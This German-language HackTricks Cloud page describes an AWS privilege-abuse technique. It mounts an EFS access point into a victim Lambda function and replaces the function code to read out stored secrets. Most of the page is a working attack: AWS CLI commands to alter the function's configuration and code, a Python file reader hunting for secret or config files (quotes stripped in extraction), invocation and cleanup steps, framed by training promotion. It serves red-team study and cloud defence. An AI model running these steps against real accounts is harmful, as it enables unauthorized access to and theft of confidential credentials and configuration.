AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Datenexfiltration)
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Missbrauche lambda:UpdateFunctionConfiguration, um einen vorhandenen EFS Access Point an eine Lambda zu hängen, und stelle dann trivialen Code bereit, der Dateien aus dem gemounteten Pfad auflistet/liest, um gemeinsam genutzte Geheimnisse/Konfigurationen zu exfiltrieren, auf die die Funktion zuvor keinen Zugriff hatte.
Anforderungen
- Berechtigungen im Ziel-Account/-Principal:
lambda:GetFunctionConfigurationlambda:ListFunctions(um Funktionen zu finden)lambda:UpdateFunctionConfigurationlambda:UpdateFunctionCodelambda:InvokeFunctionefs:DescribeMountTargets(um zu bestätigen, dass Mount Targets existieren)- Annahmen zur Umgebung:
- Target Lambda ist VPC-fähig und ihre Subnets/SGs können das EFS mount target SG über TCP/2049 erreichen (z. B. hat die Rolle AWSLambdaVPCAccessExecutionRole und das VPC-Routing erlaubt dies).
- Der EFS Access Point befindet sich in derselben VPC und hat Mount Targets in den AZs der Lambda-Subnets.
Angriff
- Variablen
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
- Hänge den EFS Access Point an die Lambda-Funktion an
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
- Überschreibe den Code mit einem einfachen reader, der Dateien auflistet und die ersten 200 Bytes einer möglichen secret/config file einliest.
cat > reader.py <<PY
import os, json
BASE=/mnt/ht
def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
- Aufrufen und Daten abrufen
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json
Die Ausgabe sollte das Verzeichnislisting unter /mnt/ht und eine kleine Vorschau einer ausgewählten secret/config file von EFS enthalten.
Auswirkungen
Ein Angreifer mit den aufgeführten Berechtigungen kann beliebige in-VPC EFS Access Points in Opfer-Lambda-Funktionen einhängen, um gemeinsam genutzte Konfigurationen und secrets, die auf EFS gespeichert sind und zuvor für diese Funktion unzugänglich waren, auszulesen und zu exfiltrieren.
Bereinigung
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud